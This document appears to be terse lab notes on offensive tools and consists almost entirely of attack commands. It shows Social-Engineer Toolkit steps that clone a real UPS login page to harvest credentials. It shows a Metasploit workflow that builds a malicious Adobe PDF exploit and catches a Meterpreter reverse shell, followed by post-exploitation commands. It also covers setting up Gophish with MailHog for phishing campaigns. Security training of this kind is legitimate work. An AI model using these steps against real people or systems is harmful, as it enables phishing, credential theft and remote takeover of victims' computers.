setoolkit
$ sudo setoolkit
set> 1
set> 2
set:webattack>3
set:webattack>2
set:webattack> IP address for the POST back in Harvester/Tabnabbing [$IP]:$IP
set:webattack> Enter the url to clone:https://www.ups.com/lasso/login?loc=en_US
metasploit
(note:win 7 target running adobe 8.1.2)
$ msfconsole
msf6 > search adobe pdf
msf6 > use 7
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > exploit
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > exploit
meterpreter > sysinfo
meterpreter > ps
gophish
(install mailhog)
$ sudo apt-get -y install golang-go
$ go install github.com/mailhog/MailHog@latest
$ ./MailHog
(install gophish)
$ git clone https://github.com/gophish/gophish.git
$ go build
https://docs.getgophish.com/user-guide/building-your-first-campaign
Comments
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎